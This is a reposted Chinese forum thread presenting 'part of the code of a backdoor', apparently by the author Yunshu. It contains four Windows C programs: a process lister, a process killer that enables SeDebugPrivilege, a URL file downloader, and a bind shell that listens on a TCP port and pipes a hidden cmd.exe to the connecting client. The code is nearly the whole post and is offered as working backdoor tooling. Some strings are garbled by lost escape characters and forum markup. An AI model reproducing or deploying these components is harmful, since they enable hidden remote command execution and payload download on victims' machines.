发新话题
打印

[转载]云舒写的后门的部分代码

[转载]云舒写的后门的部分代码

来自[幻影旅团论坛]
PsList.c
复制内容到剪贴板
代码:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

void   Help( );

int   main( )
{
   HANDLE        hProcessSnap = NULL;
   HANDLE        hProcess = NULL;
   PROCESSENTRY32    pe32;
   
   Help( );
   
   hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
    if( hProcessSnap == INVALID_HANDLE_VALUE )
    {
      return -1;
    }

   pe32.dwSize = sizeof( PROCESSENTRY32 );

   if( !Process32First( hProcessSnap, &pe32 ) )
   {
      CloseHandle( hProcessSnap );
      return -1;
   }
   
   printf( "PID\t\tProcessName\t\tFilePath\n" );
   
   do
   {
      printf( "%d\t\t", pe32.th32ProcessID );
      printf( "%s\t\n", pe32.szExeFile );
   }
   while( Process32Next( hProcessSnap, &pe32 ) );
   
   return 1;
}

void Help( )
{
    printf( "Process Information List 0.1\n" );
    printf( "Code by 云舒([email]wustyunshu@hotmail.com[/email])\n" );
    printf( "[url]www.ph4nt0m.org[/url] <a href="[url]http://www.icylife.net[/url]\n" target="_blank">[url]www.icylife.net[/url]\n</a>" );
}
kill.c
复制内容到剪贴板
代码:
#include <windows.h>
#include <stdio.h>

void   Help( char * );
void   GetDebugPriv( );

int main( int argc , char *argv[] )
{
   HANDLE   hProcess = NULL;
   DWORD   pID;
   
   if( argc != 2 )
   {
      Help( argv[0] );
      return -1;
   }
   
   pID = atoi(argv[1]);
   
   GetDebugPriv( );
   
   hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , pID );
   if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )
   {
      printf( "Open Process Failed,Error=%d\n" , GetLastError() );
      return -1;
   }
   if ( !TerminateProcess( hProcess, (DWORD) -1 ) )
   {
      printf( "Terminate Process Failed,Error=%d\n" , GetLastError() );
      CloseHandle( hProcess );
      return -1;
   }
   
   printf( "%d killed \n" , pID );
   CloseHandle( hProcess );
   return 1;
}

void GetDebugPriv( )
{
   HANDLE           hToken;
   LUID            sedebugnameValue;
   TOKEN_PRIVILEGES    tkp;

   if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) )
   {
      printf( "Open Process Token Failed\n" );
      return;
   }

   if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
   {
      printf( "Set Privileg Failed\n" );
      CloseHandle( hToken );
      return;
   }

   tkp.PrivilegeCount = 1;
   tkp.Privileges[0].Luid = sedebugnameValue;
   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

   AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );

   CloseHandle( hToken );
}

void Help( char * name )
{
    printf( "Process Killer 0.1\n" );
    printf( "Code by 云舒([email]wustyunshu@hotmail.com[/email])\n" );
    printf( "[url]www.ph4nt0m.org[/url] <a href="[url]http://www.icylife.net[/url]\n\n" target="_blank">[url]www.icylife.net[/url]\n\n</a>" );
    printf( "\nUsage:%s\t<PID>\n" , name );
}
DownLoadFile.c
复制内容到剪贴板
代码:
#include <stdio.h>
#include <winsock2.h>
#include <UrlMon.h>

#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "urlmon.lib")

void Help( char * );

int main( int argc , char *argv[] )
{
   char   fileName[32] = { 0 };//保存的文件名
   char   fullPath[128] = { 0 };//保存的完整地址
   char   url[512] = { 0 };//下载的URL
   char   seps[] = "/";//分割字符
   char   *token;

   if( argc != 2 && argc!= 3 )
   {
      Help( argv[0] );
      return -1;
   }

   else if( argc == 3 )
   {
      if( strlen(argv[1]) >= 512 )
      {
        printf( "URL is too long...\n" );
        return -1;
      }
      strcpy( url , argv[1] );

      if( strlen(argv[2]) >= 32 )
      {
        printf( "file name is too long...\n" );
        return -1;
      }
      strcpy( fileName , argv[2] );
   }
   else if( argc == 2 )
   {
      if( strlen(argv[1]) >= 512 )
      {
        printf( "URL is too long...\n" );
        return -1;
      }
      strcpy( url , argv[1] );

      token = strtok( url , seps );
       while( token != NULL )
      {
        strcpy( fileName , token );
        token = strtok( NULL , seps );
      }
      strcpy( url , argv[1] );
      
      /*调试用
      printf( "%s\n" , url );
      printf( "%s\n" , fileName );
      */
   }

   GetCurrentDirectory( sizeof(fullPath) - sizeof(fileName) , fullPath );
   strcat( fullPath , "\" );
   strcat( fullPath , fileName );

   int ret = URLDownloadToFile( 0 , url , fullPath , 0 , 0 );
   if( ret == S_OK )
   {
      printf( "DownLoad %s okn" , url );
      printf( "The file saved to %sn" , fileName );
      return 1;
   }
   printf( "DownLoad Error...%dn" ,GetLastError() );
   return -1;
}

void Help( char * name )
{
    printf( "DownLoad file 0.1n" );
    printf( "Code by 云舒([email]wustyunshu@hotmail.com[/email])n" );
    printf( "[url]www.ph4nt0m.org[/url] <a href="[url]http://www.icylife.net[/url]\n\n" target="_blank">[url]www.icylife.netnn</a>[/url]" );
    printf( "Usage:%st <URL>n" , name );
    printf( "Usage:%st <URL>t[SaveName]n" , name );
}
BindShell.c
复制内容到剪贴板
代码:
#include <winsock2.h>
#include <stdio.h>

#pragma comment (lib, "Ws2_32.lib")

#define BUFFSIZE 1024 * 5

int main(int argc,char *argv[])
{
   WSADATA      wsa;
   SOCKET      listenSock,clientSock;
   char      ip[16] = {0};
   char      buff[BUFFSIZE] = {0};
   int      ret,port;
   
   if( argc != 3 )
   {
      printf( "shell\tListenIP\tListenPort\n" );
      return(-1);
   }

   WSAStartup(MAKEWORD(2,2),&wsa);
   
   if( strlen(argv[1]) >= 16 ) return(-1);
   strcpy( ip , argv[1] );

   port = atoi(argv[2]);

   listenSock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   
   //listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0);

   struct sockaddr_in sin;

   memset( &sin,0,sizeof(sin) );

   sin.sin_family = AF_INET;
   sin.sin_port = htons(port);
   sin.sin_addr.s_addr = inet_addr(ip);

   bind( listenSock,(struct sockaddr*)&sin,sizeof(sin) );
   listen( listenSock , 3 );

   int clientSize = sizeof(sin);
   clientSock = accept( listenSock,(struct sockaddr*)&sin,&clientSize );
      
   SECURITY_ATTRIBUTES sa;
   
   sa.nLength = sizeof( sa );
   sa.lpSecurityDescriptor = 0;
   sa.bInheritHandle = TRUE;

   HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

   ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
   ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
      
   STARTUPINFO si;
   ZeroMemory( &si,sizeof(si) );

   GetStartupInfo( &si );
   
   si.cb = sizeof( si );
   si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
   si.wShowWindow = SW_HIDE;
   si.hStdInput = hReadPipe2;
   si.hStdOutput = si.hStdError = hWritePipe1;
   
   //si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientSock;
   
   char cmdLine[] = "cmd.exe";

   PROCESS_INFORMATION ProcessInformation;
   
   ZeroMemory( &ProcessInformation );
   ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

   
   unsigned long lBytesRead;
      
   while(1)
   {
      memset( buff,0,BUFFSIZE );
      
       ret=PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,0,0);
        
       //尝试5次读取管道,防止延迟发生错误
       int i;
       for(i = 0; i < 5 && lBytesRead == 0; i++)
      {
        Sleep(50);
        ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,NULL,NULL);
      }
      
       if(lBytesRead)
      {
          ret=ReadFile(hReadPipe1,buff,lBytesRead,&lBytesRead,0);
          if( !ret ) break;
   
        ret=send(clientSock,buff,lBytesRead,0);
          if(ret<=0) break;
       }
      else
      {
          lBytesRead=recv(clientSock,buff,BUFFSIZE,0);
           
          if(lBytesRead<=0) break;
          ret=WriteFile(hWritePipe2,buff,lBytesRead,&lBytesRead,0);
          if(!ret) break;
        }
   }
      
   //WaitForSingleObject( ProcessInformation.hProcess , INFINITE );
   
   CloseHandle(hReadPipe1);
   CloseHandle(hReadPipe2);
   CloseHandle(hWritePipe1);
   CloseHandle(hWritePipe2);
      
   closesocket(clientSock);
   closesocket(listenSock);
   WSACleanup();   
   return 0;
}

TOP

发新话题